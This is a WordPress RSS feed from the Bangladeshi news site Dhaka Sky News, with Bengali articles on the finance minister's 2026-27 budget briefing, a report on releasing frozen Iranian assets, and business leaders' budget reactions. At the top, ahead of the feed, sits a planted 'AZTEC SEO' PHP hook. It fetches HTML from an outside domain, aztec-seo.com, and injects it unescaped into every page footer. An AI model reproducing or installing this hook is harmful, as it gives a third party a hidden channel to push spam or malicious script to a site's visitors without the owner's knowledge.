/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); Admin – Dhaka Sky News https://www.dhakaskynews.com Dhaka Sky News Sat, 13 Jun 2026 03:54:00 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.9 এবার সবার জন্য বাজেট : অর্থমন্ত্রী https://www.dhakaskynews.com/bangladesh/2026/06/13/News_ID-7247/ https://www.dhakaskynews.com/bangladesh/2026/06/13/News_ID-7247/#respond Sat, 13 Jun 2026 03:54:00 +0000 https://www.dhakaskynews.com/?p=7247 সীমিত সম্পদের মধ্যেও দেশের সব মানুষকে বাজেটের আওতায় আনা হয়েছে। দেশের ‘সবার জন্য এই বাজেট’। দীর্ঘদিনের আমলাতান্ত্রিক জটিলতা, অপ্রয়োজনীয় বিধিনিষেধ ও লালফিতার দৌরাত্ম্য কমিয়ে ব্যবসায় ব্যয় হ্রাস করাই সরকারের প্রধান লক্ষ্য। শুক্রবার রাজধানীর ওসমানী স্মৃতি মিলনায়তনে বাজেটোত্তর সংবাদ সম্মেলনে অর্থমন্ত্রী আমির খসরু মাহমুদ চৌধুরী এসব কথা বলেছেন।
অর্থমন্ত্রী বলেন, বেসরকারি বিনিয়োগে গতি বাড়ানো, ব্যবসার পরিবেশ সহজ করা এবং মূল্যস্ফীতি নিয়ন্ত্রণকে সামনে রেখে ২০২৬-২৭ অর্থবছরের বাজেট বাস্তবায়নের রূপরেখা দেওয়া হয়েছে। তিনি দাবি করেন, গত দেড় দশকের ‘পৃষ্ঠপোষকতার অর্থনীতি’ থেকে বেরিয়ে এবারের বাজেট দেশের সব শ্রেণি-পেশার মানুষের জন্য প্রণয়ন করা হয়েছে। তিনি বলেন, গত দেড় দশকে দেশের সম্পদ লুটপাট হয়েছে, রাষ্ট্রীয় প্রতিষ্ঠানগুলো দুর্বল হয়েছে এবং অর্থনীতি ভঙ্গুর অবস্থায় পৌঁছেছে।
অর্থমন্ত্রী সূচনা বক্তব্যের পরই সাংবাদিকদের বিভিন্ন প্রশ্নের জবাব দেন। এ সময় প্রিন্ট, টেলিভিশন এবং অনলাইন মিডিয়ার শতাধিক সাংবাদিক উপস্থিত ছিলেন। বেশির ভাগ সাংবাদিক প্রশ্ন করার সুযোগ পাননি। বিকাল ৩টা ১০ মিনিটে সম্মেলনস্থলে আসেন অর্থমন্ত্রী। তার ডানপাশে বসেন তথ্যমন্ত্রী জহির উদ্দিন স্বপন, বামপাশে বিদ্যুৎ, জ্বালানি ও খনিজসম্পদমন্ত্রী ইকবাল হাসান মাহমুদ টুকু।
উপস্থিত ছিলেন স্বাস্থ্যমন্ত্রী সরদার সাখাওয়াত হোসেন, কৃষিমন্ত্রী মোহাম্মদ আমিন উর রশিদ, শিক্ষামন্ত্রী আ ন ম এহছানুল হক মিলন, পরিকল্পনা প্রতিমন্ত্রী জোনায়েদ সাকি, প্রধানমন্ত্রীর উপদেষ্টা মাহদী আমিন, বাংলাদেশ ব্যাংকের গভর্নর মোস্তাকুর রহমান, এনবিআর চেয়ারম্যান আব্দুর রহমান খান, প্রধানমন্ত্রীর কার্যালয়ের মুখ্য সচিব এ বি এম আব্দুস সাত্তার।
অর্থমন্ত্রী বলেন, ব্যবসা-বাণিজ্যের বড় বাধা হয়ে দাঁড়িয়েছে অপ্রয়োজনীয় নিয়মকানুন, প্রশাসনিক জটিলতা এবং দীর্ঘসূত্রতা। এসব দূর করে বিনিয়োগবান্ধব পরিবেশ নিশ্চিত করাই সরকারের অগ্রাধিকার। ব্যবসা সহজ করার সূচকে বাংলাদেশের অবস্থান দীর্ঘদিন ধরেই তলানির দিকে। এর অর্থ হলো দেশে ব্যবসা পরিচালনার খরচও তুলনামূলকভাবে বেশি। লাইসেন্স গ্রহণ থেকে শুরু করে পণ্য আমদানি, বন্দরে খালাস, পরিবহণ ও সরবরাহ প্রতিটি স্তরে উদ্যোক্তাদের অতিরিক্ত সময় ও অর্থ ব্যয় করতে হয়। এই ব্যয় শেষ পর্যন্ত পণ্যের দামের সঙ্গে যুক্ত হয়ে মূল্যস্ফীতিকে আরও বাড়িয়ে দেয়।
তিনি বলেন, ব্যবসার খরচ কমাতে সরকার ‘ডিরেগুলেশন’ বা বিনিয়ন্ত্রণ নীতির ওপর বিশেষ গুরুত্ব দিচ্ছে। অপ্রয়োজনীয় বিধিনিষেধ কমিয়ে, প্রশাসনিক প্রক্রিয়া সহজ করে এবং সিদ্ধান্ত গ্রহণের গতি বাড়িয়ে উদ্যোক্তাদের জন্য একটি হয়রানিমুক্ত পরিবেশ গড়ে তোলা হবে। এতে স্থানীয় বিনিয়োগের পাশাপাশি বিদেশি বিনিয়োগও উৎসাহিত হবে। অর্থমন্ত্রী বলেন, গত দেড় দশক আমাদের অর্থনীতি ছিল পৃষ্ঠপোষকতার অর্থনীতি। কিছু মানুষের অর্থনীতি। নির্দিষ্ট কিছু মানুষ ও গোষ্ঠীকে সুবিধা দেওয়া হয়েছে। আমরা সেই ধারা থেকে বেরিয়ে অর্থনীতিতে সবার অংশগ্রহণ নিশ্চিত করতে চাই। সীমিত সম্পদের মধ্যেও প্রতিটি মানুষকে বাজেটের আওতায় আনার চেষ্টা করেছি। তিনি দাবি করেন, এবারের বাজেটের মূল দর্শন হচ্ছে অর্থনীতির গণতন্ত্রায়ন। দীর্ঘদিন ধরে অর্থনৈতিক সুবিধার বাইরে থাকা জনগোষ্ঠীকে মূলধারায় নিয়ে আসাই সরকারের লক্ষ্য। কৃষক, শ্রমিক, ক্ষুদ্র উদ্যোক্তা, নারী, তরুণ, প্রবীণ, সংখ্যালঘুসব শ্রেণি-পেশার মানুষের কথা বিবেচনায় নিয়েই বাজেট প্রণয়ন করা হয়েছে। অর্থমন্ত্রী বলেন, আমার যদি ভুল না হয়ে থাকে, কোনো শ্রেণি, পেশা, ধর্ম বা বর্ণের মানুষ এবারের বাজেটের আওতার বাইরে নেই। সীমিত সম্পদের মধ্যেও সবার জন্য কিছু না কিছু বরাদ্দ, কর্মসূচি ও রোডম্যাপ রাখা হয়েছে। বর্তমানে মূল্যস্ফীতি প্রায় সাড়ে ৯ শতাংশের কাছাকাছি। এ বিষয়ে অর্থমন্ত্রী বলেন, আমাদের নীতিগুলো সঠিকভাবে বাস্তবায়ন করতে পারলে মূল্যস্ফীতি নিয়ন্ত্রণ করা খুব কঠিন হবে বলে মনে করি না। তিনি বলেন, ব্যবসায়িক ব্যয় কমাতে পারলে মূল্যস্ফীতির ওপরও ইতিবাচক প্রভাব পড়বে।
ব্যবসার খরচ বৃদ্ধির জায়গাগুলো চিহ্নিত করেছি। আমদানি পণ্যের কারণে মূল্যস্ফীতি পুরোপুরি নিয়ন্ত্রণ করা সম্ভব নয়। তবে দেশের অভ্যন্তরীণ ব্যয় কমানোর মাধ্যমে মূল্যস্ফীতির চাপ অনেকাংশে কমানো সম্ভব। মূল্য নিয়ন্ত্রণে প্রশাসনিক উদ্যোগকে দীর্ঘমেয়াদি সমাধান মনে করেন না অর্থমন্ত্রী। তিনি বলেন, পুলিশ, র‌্যাব বা সরকারি কর্মকর্তাদের দিয়ে বাজার নিয়ন্ত্রণ করা যায় না। মূল্য নিয়ন্ত্রণ করতে হবে সঠিক নীতি ও কার্যকর ব্যবস্থাপনার মাধ্যমে।
বেতন বাড়লে দুর্নীতি কমবে : সরকারি চাকরিজীবীদের বেতন বাড়লে দুর্নীতি কমবে বলে মনে করছেন অর্থমন্ত্রী আমির খসরু। তিনি বলেন, বেতন বাড়লে দুর্নীতি কমার কথা। কারণ অভাব থাকলে দুর্নীতির প্রবণতা থাকে। ১১ বছর ধরে পে-স্কেল হয়নি, অন্যদিকে নিত্যপণ্যের দাম বেড়েছে। সুতরাং এটা সমন্বয় করা দরকার। বেতন বাড়লে, আয় বাড়বে তখন নিশ্চয় দুর্নীতি কমার কথা।

ব্যাংক ঋণের ওপর নির্ভরতা কমানো হবে : স্থানীয় ব্যাংক থেকে সরকারের ঋণ গ্রহণ ধীরে ধীরে কমিয়ে বেসরকারি খাতের জন্য ঋণের সুযোগ বাড়ানোর কথাও জানিয়ে অর্থমন্ত্রী বলেন, দেশের অর্থনৈতিক প্রোগ্রামিং ও বাজেট প্রণয়নের ক্ষেত্রে সরকার আগের প্রচলিত ধারা থেকে ধীরে ধীরে বেরিয়ে আসার চেষ্টা করছে। কারণ বিশ্ব অর্থনীতির প্রেক্ষাপট দ্রুত পরিবর্তিত হচ্ছে। অর্থনৈতিক চিন্তাভাবনা, বিনিয়োগের ধরন এবং বিনিয়োগ মূল্যায়নের মানদণ্ডও বদলে যাচ্ছে। এ কারণে দেশের সরকারি অর্থ ব্যবস্থাপনার (পাবলিক ফাইন্যান্স) বিদ্যমান কাঠামোতেও পরিবর্তন আনা প্রয়োজন।
অর্থমন্ত্রী বলেন, সরকারের লক্ষ্য হলো এমন একটি আর্থিক কাঠামো গড়ে তোলা, যেখানে বেসরকারি খাত অর্থনীতির প্রধান চালিকাশক্তি হিসাবে আরও বেশি ভূমিকা রাখতে পারবে এবং ব্যাংকিং খাতেও সরকারি ও বেসরকারি ঋণের মধ্যে একটি স্বাস্থ্যকর ভারসাম্য প্রতিষ্ঠিত হবে। এর আগে অর্থ সচিব ড. মো. খায়েরুজ্জামান মজুমদার বলেন, চলতি অর্থবছরে সরকারের ব্যাংক ঋণের লক্ষ্যমাত্রা ছিল ১ লাখ ১৮ হাজার কোটি টাকা। নতুন বাজেটে তা কমিয়ে ১ লাখ ১২ হাজার কোটি টাকা নির্ধারণ করা হয়েছে। তিনি উল্লেখ করেন, সম্প্রতি সরকার ৫ হাজার ৫০০ কোটি টাকার সুকুক বন্ড ইস্যু করেছে, যা ব্যাপক সাড়া পেয়েছে। এ বন্ডের বিপরীতে প্রায় ৭২ হাজার ৫০০ কোটি টাকার আবেদন জমা পড়েছে।
সংস্কৃতিকে অর্থনীতির সম্পদে রূপ দিতে ৮০০ কোটির প্রকল্প : দেশের অর্থনীতিতে নতুন প্রবৃদ্ধির উৎস তৈরির লক্ষ্যে পর্যটনের সঙ্গে থিয়েটার, সংগীত, চলচ্চিত্র ও শিল্পকলাকে যুক্ত করার উদ্যোগ নিয়েছে সরকার। সংস্কৃতিকে অর্থনৈতিক সম্পদে রূপ দিতে প্রায় ৮০০ কোটি টাকার ‘ক্রিয়েটিভ ইকোনমি’ প্রকল্প বাস্তবায়নের পরিকল্পনা নেওয়া হয়েছে বলে জানিয়েছেন অর্থমন্ত্রী। এটি দেশের ইতিহাসে প্রথম উদ্যোগ। এছাড়া ঢাকার পূর্বাচলে একটি সৃজনশীল হাব করা হবে। অপর এক প্রশ্নের জবাবে অর্থমন্ত্রী বলেন, জমি ও ফ্ল্যাট নিবন্ধনের ক্ষেত্রে সরকারি নির্ধারিত মৌজা রেট এবং প্রকৃত বাজারমূল্যের মধ্যে বিদ্যমান বড় ব্যবধান দূর করতে সরকার কাজ করছে বলে জানিয়েছেন অর্থমন্ত্রী আমির খসরু। তিনি বলেছেন, মৌজা রেট বাস্তবসম্মত করা গেলে কালোটাকা সাদা করার সুযোগও অনেকাংশে বন্ধ হয়ে যাবে।
বাংলাদেশে তেলের ঘাটতি হয়নি-জ্বালানিমন্ত্রী : বাংলাদেশে জ্বালানির কোনো ঘাটতি তৈরি হয়নি বলে মন্তব্য করেছেন বিদ্যুৎ, জ্বালানি ও খনিজসম্পদমন্ত্রী ইকবাল হাসান মাহমুদ। তিনি বলেছেন, যুদ্ধের প্রভাবে আমেরিকার মতো দেশে ফ্লোরিডা ড্রাই হয়ে গিয়েছিল। কিন্তু বাংলাদেশে ড্রাই হয়নি। বাংলাদেশে তেল সব সময় স্টেবল ছিল, এখনো আছে। রাষ্ট্রীয় প্রতিষ্ঠান বাপেক্সকে পুনরুজ্জীবিত করা, স্থল ও সমুদ্রে গ্যাস অনুসন্ধান জোরদার করা হয়েছে।
কালোটাকা সাদা করার সুযোগ নেই, ভুল বোঝাবুঝি হয়েছে, এনবিআর চেয়ারম্যান : প্রস্তাবিত বাজেটে কালোটাকা বৈধ করার ব্যবস্থা নয়, বরং সম্পত্তি লেনদেনে প্রকৃত মূল্য ঘোষণার মাধ্যমে করসংক্রান্ত জটিলতা নিরসনের একটি প্রস্তাব করা হয়েছে বলে জানিয়েছেন এনবিআর চেয়ারম্যান মো. আবদুর রহমান খান। এ বিষয়ে জনমনে ভুল বোঝাবুঝি তৈরি হয়েছে। তিনি বলেন, গত অর্থবছরে জমি বিক্রেতাদের জন্য একটি বিশেষ বিধান করা হয়েছিল। অনেক ক্ষেত্রে জমি প্রকৃত মূল্যে বিক্রি হলেও কম দামে নিবন্ধন করা হয়। এতে বিক্রেতারা প্রকৃত বিক্রয়মূল্যের অতিরিক্ত অর্থের উৎস ব্যাখ্যা করতে গিয়ে জটিলতায় পড়েন। এ অবস্থায় ব্যাংকিং চ্যানেলে লেনদেনের প্রমাণ এবং বায়নানামা উপস্থাপন করতে পারলে তারা নিয়মিত হারে মূলধনি মুনাফার ওপর কর পরিশোধ করে সেই অর্থ বৈধ করার সুযোগ পান। এবার একই ধরনের একটি সুবিধা সম্পত্তি বা ফ্ল্যাটের ক্রেতাদের জন্য বিবেচনা করা হয়েছিল।

]]>
https://www.dhakaskynews.com/bangladesh/2026/06/13/News_ID-7247/feed/ 0
জব্দ করা ইরানি ২৪ বিলিয়ন ডলার ছাড়তে রাজি ট্রাম্প https://www.dhakaskynews.com/international/2026/06/13/News_ID-7242/ https://www.dhakaskynews.com/international/2026/06/13/News_ID-7242/#respond Sat, 13 Jun 2026 03:41:59 +0000 https://www.dhakaskynews.com/?p=7242 ইরানের জব্দকৃত ২৪ বিলিয়ন ডলারের সম্পদ ছাড়তে রাজি হয়েছেন মার্কিন প্রেসিডেন্ট ডোনাল্ড ট্রাম্প। শুক্রবার (১২ জুন) ইরানের এক জ্যেষ্ঠ কর্মকর্তার বরাতে এক প্রতিবেদনে এ তথ্য জানিয়েছে দেশটির আধা-সরকারি সংবাদ সংস্থা ফার্স।
এদিকে, শুক্রবার (১২ জুন) ইরানে অর্থ স্থানান্তরের অভিযোগসংক্রান্ত বিভিন্ন প্রতিবেদন প্রত্যাখ্যান করেছে সংযুক্ত আরব আমিরাত। এর মধ্যে ৩ বিলিয়ন ডলার ইরানে পাঠানোর অভিযোগও অন্তর্ভুক্ত ছিল।
আরব আমিরাতের পররাষ্ট্র মন্ত্রণালয় এক বিবৃতিতে জানায়, কিছু আন্তর্জাতিক গণমাধ্যমে প্রকাশিত প্রতিবেদনগুলো আমরা সম্পূর্ণভাবে প্রত্যাখ্যান করছি। সংযুক্ত আরব আমিরাত থেকে ইরানে অর্থ স্থানান্তরের যে অভিযোগ আনা হয়েছে বিশেষ করে ৩ বিলিয়ন মার্কিন ডলার সংক্রান্ত দাবি প্রত্যাখ্যান করছি।
আমিরাতের মন্ত্রণালয় অভিযোগগুলোকে সম্পূর্ণ মিথ্যা ও ভিত্তিহীন বলে আখ্যায়িত করে এবং জোর দিয়ে বলে, ইরানের কোনো জব্দ বা স্থগিত তহবিল ইউএইর মাধ্যমে মুক্ত করা, স্থানান্তর করা বা স্থানান্তরে সহায়তা করা হয়নি।
ফার্স-এর প্রতিবেদন মতে, ইরানের সর্বোচ্চ নেতার জ্যেষ্ঠ উপদেষ্টা মোহসেন রেজায়ি দক্ষিণ-পশ্চিমাঞ্চলীয় শহর দেজফুলে এক স্মরণসভায় বক্তব্য দেওয়ার সময় এ মন্তব্য করেন।
প্রতিবেদন অনুযায়ী, রেজায়ি বলেন, সাম্প্রতিক সংঘাত ইরানের আন্তর্জাতিক অবস্থানকে আরও শক্তিশালী করেছে। তার দাবি, দেশের প্রতিরোধ ও প্রতিরক্ষা সক্ষমতা এমন পর্যায়ে পৌঁছেছে যে এখন জুয়াড়ি ট্রাম্প তেহরানের সঙ্গে আলোচনায় বসতেও ভয় পাচ্ছেন।
তিনি আরও অভিযোগ করেন, মার্কিন নীতিনির্ধারণে ইসরাইলের প্রভাব ক্রমশ বেড়েছে এবং বিভিন্ন লবিং কার্যক্রমের কারণে যুক্তরাষ্ট্র কার্যত ‘জায়নিস্ট শাসনের উপনিবেশে’ পরিণত হয়েছে।
রেজায়ির এ মন্তব্যের আগে ইরানের পররাষ্ট্রমন্ত্রী আব্বাস আরাগচি শুক্রবার (১২ জুন) বলেন, যুক্তরাষ্ট্রের সঙ্গে প্রস্তাবিত সমঝোতা স্মারক স্বাক্ষরিত হলে ইরান-সংক্রান্ত সব সংঘাতের আনুষ্ঠানিক অবসান ঘটবে। এর মধ্যে লেবানন ফ্রন্টও অন্তর্ভুক্ত থাকবে। পাশাপাশি এটি নিষেধাজ্ঞা প্রত্যাহার নিয়ে আলোচনার পথও সুগম করবে।

]]>
https://www.dhakaskynews.com/international/2026/06/13/News_ID-7242/feed/ 0
এ বাজেট বাস্তবায়নই বড় চ্যালেঞ্জ https://www.dhakaskynews.com/bangladesh/2026/06/13/News_ID-7235/ https://www.dhakaskynews.com/bangladesh/2026/06/13/News_ID-7235/#respond Sat, 13 Jun 2026 03:22:49 +0000 https://www.dhakaskynews.com/?p=7235 এবারের প্রস্তাবিত বাজেট বাংলাদেশের ইতিহাসের সর্বোচ্চ সাহসী বাজেট। এ বাজেটে যেমন ব্যবসা সহজ করার উদ্যোগ আছে, তেমনি স্থানীয় শিল্পকে সুরক্ষা দেওয়ার প্রচেষ্টাও বিদ্যমান। তবে ব্যাংক ঋণের উচ্চসুদ, বিদ্যুৎ-জ্বালানি সংকট সমাধানে কার্যকর রূপরেখা দৃশ্যমান হয়নি। সামগ্রিকভাবে বাজেট বাস্তবায়ন করাই হবে বড় চ্যালেঞ্জ। অতীতের অনেক ভালো বাজেটও বাস্তবায়নের অভাবে মুখ থুবড়ে পড়েছে। তাই সরকারকে বাজেট বাস্তবায়নে অর্থবছর শুরুর প্রথম দিন থেকে বাস্তবমুখী পরিকল্পনা নিয়ে কাজ শুরু করতে হবে। প্রস্তাবিত বাজেট-পরবর্তী প্রতিক্রিয়ায় শুক্রবার গণমাধ্যমের কাছে ব্যবসায়ী সংগঠনের কয়েকজন নেতা এসব  মন্তব্য করেন।
তারা বলেন, এ বাজেটে সরকারের দেশপ্রেমের অনেক স্বাক্ষর রয়েছে। তবে গ্যাস-বিদ্যুৎ সরবরাহের অনিশ্চয়তা ও ব্যাংক ঋণের উচ্চ সুদহার উদ্যোক্তাদের এখনো ভাবাচ্ছে। প্রস্তাবিত বাজেটে গ্যাস ও বিদ্যুৎ সংকট নিরসনে সুনির্দিষ্ট পদক্ষেপ নেই। শিল্পের উন্নতি করতে হলে সবার আগে জ্বালানি নিরাপত্তা নিশ্চিত করতে হবে। এছাড়া ব্যাংক ঋণের সুদহার কমানো ও বেসরকারি খাতে ঋণপ্রবাহ বৃদ্ধির উদ্যোগ গ্রহণ করতে হবে। দক্ষতা উন্নয়ন ও কর্মসংস্থানবিষয়ক সব বাধা দূর করে দেশীয় ও বৈদেশিক কর্মসংস্থানের সুযোগ বৃদ্ধি করাও জরুরি। বাজেটে মূল্যস্ফীতি নিয়ন্ত্রণ, বিনিয়োগ বৃদ্ধি, সামাজিক সুরক্ষা সম্প্রসারণ এবং দীর্ঘমেয়াদি প্রবৃদ্ধির যে লক্ষ্য নির্ধারণ করা হয়েছে, তা প্রশংসনীয়। তবে রাজস্ব আহরণ, প্রকল্প বাস্তবায়ন এবং বেসরকারি খাতের জন্য অনুকূল পরিবেশ নিশ্চিত করাই হবে সবচেয়ে বড় চ্যালেঞ্জ। ফলে শুধু বরাদ্দ বাড়ালেই কাঙ্ক্ষিত ফল আসবে না, সেবার মান ও সুশাসন নিশ্চিত করতে হবে।
বিসিআই সভাপতি : প্রস্তাবিত বাজেটকে বাংলাদেশের ইতিহাসের সর্বোচ্চ সংস্কারমুখী ও ব্যবসাবান্ধব বলে মনে করেন বাংলাদেশ চেম্বার অব ইন্ডাস্ট্রিজের (বিসিআই) সভাপতি আনোয়ার-উল আলম চৌধুরী পারভেজ। তার মতে, ১৯ কোটি মানুষের জন্য এ ধরনের বড় বাজেট দরকার আছে। তবে বাজেট বাস্তবায়ন বড় চ্যালেঞ্জ। এজন্য বাজেট বাস্তবায়নের প্রথম দিন থেকেই সুনির্দিষ্ট টাইমলাইন ও পরিকল্পনা নিয়ে এগোতে হবে। প্রয়োজনে সংশ্লিষ্ট সব অংশীজনকে সম্পৃক্ত করা যেতে পারে।
আনোয়ার-উল আলম চৌধুরী আরও বলেন, বর্তমান বৈশ্বিক অর্থনৈতিক অনিশ্চয়তা, উচ্চ মূল্যস্ফীতি, জ্বালানি সংকট এবং বিনিয়োগ স্থবিরতার প্রেক্ষাপটে অর্থনীতিকে পুনরুজ্জীবিত করতে সরকারের গৃহীত সংস্কারমুখী পদক্ষেপ প্রশংসনীয়। বিশেষ করে ব্যাংকিং খাত, কর ব্যবস্থা এবং সরকারি অর্থ ব্যবস্থাপনায় সংস্কারের অঙ্গীকার দীর্ঘমেয়াদে শিল্প খাতের জন্য ইতিবাচক প্রভাব ফেলবে।
তিনি আরও বলেন, বন্ধ কলকারখানা চালুসহ ক্ষুদ্র ও মাঝারি শিল্পের জন্য বাজেটে সুনির্দিষ্ট প্রস্তাব রয়েছে, যা ইতিবাচক হিসাবে কাজ করবে। রপ্তানি বহুমুখীকরণের জন্য হালাল পণ্য উৎপাদন ও রপ্তানিকে যুক্ত করা আবশ্যক। কারণ বিশ্বব্যাপী হালাল পণ্যের চাহিদা ক্রমাগত বাড়ছে এবং বাংলাদেশের এ সুযোগ গ্রহণ করার সক্ষমতা রয়েছে। ডিরেগুলেশনের মাধ্যমে ব্যবসা সহজীকরণ প্রস্তাবগুলো সাহসী পদক্ষেপ। পাশাপাশি উন্নয়ন লক্ষ্য হিসাবে ১০টি অগ্রাধিকার খাত চিহ্নিত করা এবং ক্রিয়েটিভ অর্থনীতি ও সুনীল অর্থনীতিকে গুরুত্ব দেওয়া দীর্ঘমেয়াদে বাংলাদেশের টেকসই উন্নয়নে সহায়ক হবে।
বিটিএমএ সভাপতি : শওকত আজিজ রাসেলের মতে, প্রস্তাবিত বাজেটে বিনিয়োগ, কর্মসংস্থান, রপ্তানি সক্ষমতা ও ব্যবসা সহজীকরণকে গুরুত্ব দেওয়া হয়েছে, যা ইতিবাচক। স্থানীয় শিল্পের সুরক্ষা ও প্রতিযোগিতা সক্ষমতা বৃদ্ধি, শুল্ক কাঠামো পুনর্বিন্যাস, সোলার বিদ্যুতে নীতিগত সুবিধা এবং ব্যবসায়িক প্রক্রিয়া সহজীকরণের পদক্ষেপ প্রাইমারি টেক্সটাইল খাতের জন্য উৎসাহব্যঞ্জক। তবে গ্যাস-বিদ্যুৎ সরবরাহের অনিশ্চয়তা, ব্যাংক ঋণের উচ্চ সুদহার উদ্যোক্তাদের এখনো ভাবাচ্ছে।
শওকত আজিজ রাসেল বলেন, বাজেটে বিটিএমএ’র কয়েকটি গুরুত্বপূর্ণ প্রস্তাব আংশিকভাবে প্রতিফলিত হয়েছে। তবে টেক্সটাইল শিল্পসংশ্লিষ্ট কিছু বিষয় নজরে আনা হয়নি। যেমন-টেক্সটাইল খাতের বিদ্যমান সংকট মোকাবিলায় করপোরেট ট্যাক্সের হার ১৫% নির্ধারণ করা জরুরি। এ বিষয়ে কোনো পদক্ষেপ নেওয়া হয়নি। এলডিসি উত্তরণ-পরবর্তী প্রতিযোগিতামূলক পরিস্থিতি বিবেচনায় মূল্য সংযোজনের হার বহাল রাখা প্রয়োজন। ব্যাংক গ্যারান্টির মাধ্যমে কাঁচামাল আমদানির ক্ষেত্রে বিদ্যমান ৩০ শতাংশ মূল্য সংযোজনের বাধ্যবাধকতা প্রত্যাহার দেশীয় শিল্পের জন্য ঝুঁকি তৈরি করতে পারে এবং এর অপব্যবহারের আশঙ্কা রয়েছে।
শওকত আজিজ রাসেল বলেন, বর্তমানে প্রাইমারি টেক্সটাইল খাতটি উচ্চ জ্বালানি ব্যয়, গ্যাস-বিদ্যুৎ সরবরাহের অনিশ্চয়তা, ব্যাংক ঋণের উচ্চ সুদহার, কাঁচামালের মূল্য অস্থিরতা, উৎসে কর ও চলতি মূলধনের অভাব এবং আন্তর্জাতিক প্রতিযোগিতায় ঝুঁকির মুখে রয়েছে। তাই আয়কর ও উৎসে করের স্থিতিশীলতা, কাঁচামাল ও মেশিনারি আমদানিতে নীতিগত সহায়তা, বিনিয়োগ সুবিধা এবং ব্যাকওয়ার্ড লিংকেজ শিল্পের জন্য দীর্ঘমেয়াদি করনীতির পূর্বানুমানযোগ্যতা নিশ্চিত করা অত্যন্ত জরুরি বলে মনে করেন তিনি।
বিকেএমইএ সভাপতি: প্রস্তাবিত বাজেট সন্তোষজনক, অর্থনৈতিক সংকটগুলো কাটাতে সহায়ক হবে। বিশেষ করে সংকটে থাকা ও বন্ধ কারখানার জন্য সহায়তা কর্মসূচি। তবে বাজেটের প্রকৃত সাফল্য নির্ভর করবে বাস্তবায়নের ওপর-এমনটি মনে করেন বিকেএমইএ সভাপতি মোহাম্মদ হাতেম।
তিনি বলেন, এবারের বাজেটে তৈরি পোশাকশিল্পের দুটি প্রধান প্রত্যাশা ছিল-কর ব্যবস্থার সংস্কার এবং চলমান গ্যাস-বিদ্যুৎ সংকটের প্রেক্ষাপটে বিকল্প জ্বালানি সোলার সিস্টেমের আমদানি সহজীকরণ করা। দুটি জায়গাতেই এ বাজেটে নেওয়া পদক্ষেপ সন্তোষজনক। কর সুবিধা সম্প্রসারণ এবং মধ্যমেয়াদি নীতিকাঠামোর দিকে অগ্রসর হওয়ার মতো কিছু ইতিবাচক পদক্ষেপ রয়েছে। এজন্য প্রধানমন্ত্রী ও অর্থমন্ত্রীকে ধন্যবাদ।
মোহাম্মদ হাতেম বলেন, রপ্তানিমুখী নন-বন্ডেড প্রতিষ্ঠানকে শুল্কমুক্ত সুবিধায় কাঁচামাল বিদেশ থেকে আমদানি এবং দেশীয় বন্ডেড প্রতিষ্ঠান থেকে সংগ্রহের সুযোগ রপ্তানি বৃদ্ধির জন্য ইতিবাচক। এছাড়া রপ্তানিমুখী শিল্পের জন্য বিদ্যমান সুবিধাগুলো বহাল রাখা এবং বিভিন্ন প্রণোদনা ও নীতিগত সুবিধার মেয়াদ তিন থেকে পাঁচ বছর পর্যন্ত বাড়ানোর সিদ্ধান্তও ইতিবাচক। এ ধরনের নীতিগত ধারাবাহিকতা বিনিয়োগকারীদের আস্থা বৃদ্ধি এবং দীর্ঘমেয়াদি ব্যবসায়িক পরিকল্পনায় সহায়তা করবে।
গ্যাস ও বিদ্যুৎ সংকট নিরসনে বাজেটে সুনির্দিষ্ট পদক্ষেপ নেই-এমন মন্তব্য করে মোহাম্মদ হাতেম বলেন, বিনিয়োগ ও শিল্প সম্প্রসারণের ক্ষেত্রে এটি এখনো অন্যতম বড় প্রতিবন্ধকতা। জ্বালানি নিরাপত্তা নিশ্চিত করা সবচেয়ে জরুরি বিষয়। সৌরবিদ্যুৎ আংশিক সমাধান দিতে পারে, কিন্তু দীর্ঘমেয়াদে টেকসই সমাধানের জন্য দেশীয় গ্যাস অনুসন্ধান উৎপাদন বাড়ানো প্রয়োজন। উচ্চ ঋণসুদও বিনিয়োগের পথে বড় বাধা হয়ে দাঁড়িয়েছে। ঋণের ব্যয় অনেক বেড়ে যাওয়ায় বেসরকারি খাতে ঋণ প্রবৃদ্ধি উল্লেখযোগ্যভাবে কমেছে। ১৩ থেকে ১৫ শতাংশ সুদে ঋণ নিয়ে ব্যবসা পরিচালনা দীর্ঘমেয়াদে কোনোভাবেই সম্ভব নয়।
অ্যামচ্যাম সভাপতি: প্রস্তাবিত বাজেট অর্থনীতিকে স্থিতিশীল করার একটি ইতিবাচক প্রচেষ্টা হলেও এর সাফল্য নির্ভর করবে কার্যকর বাস্তবায়নের ওপর। এমনটিই মনে করেন আমেরিকান চেম্বার অব কমার্স ইন বাংলাদেশের (অ্যামচ্যাম) সভাপতি সৈয়দ এরশাদ আহমেদ। তিনি বলেন, বাজেটে মূল্যস্ফীতি নিয়ন্ত্রণ, বিনিয়োগ বৃদ্ধি, সামাজিক সুরক্ষা সম্প্রসারণ এবং দীর্ঘমেয়াদি প্রবৃদ্ধির যে লক্ষ্য নির্ধারণ করা হয়েছে, তা প্রশংসনীয়। তবে রাজস্ব আহরণ, প্রকল্প বাস্তবায়ন এবং বেসরকারি খাতের জন্য অনুকূল পরিবেশ নিশ্চিত করাই হবে সবচেয়ে বড় চ্যালেঞ্জ।
অ্যামচ্যাম সভাপতির মতে, বর্তমান বৈশ্বিক ও অভ্যন্তরীণ অর্থনৈতিক পরিস্থিতির মধ্যে সরকার একটি ভারসাম্যপূর্ণ বাজেট উপস্থাপনের চেষ্টা করেছে। বাজেটে মানবসম্পদ উন্নয়ন, শিক্ষা, স্বাস্থ্য এবং সামাজিক সুরক্ষা কর্মসূচিতে বরাদ্দ বৃদ্ধি ইতিবাচক বার্তা দেয়। তবে শুধু বরাদ্দ বাড়ালেই কাঙ্ক্ষিত ফল আসবে না, সেবার মান ও সুশাসন নিশ্চিত করতে হবে।
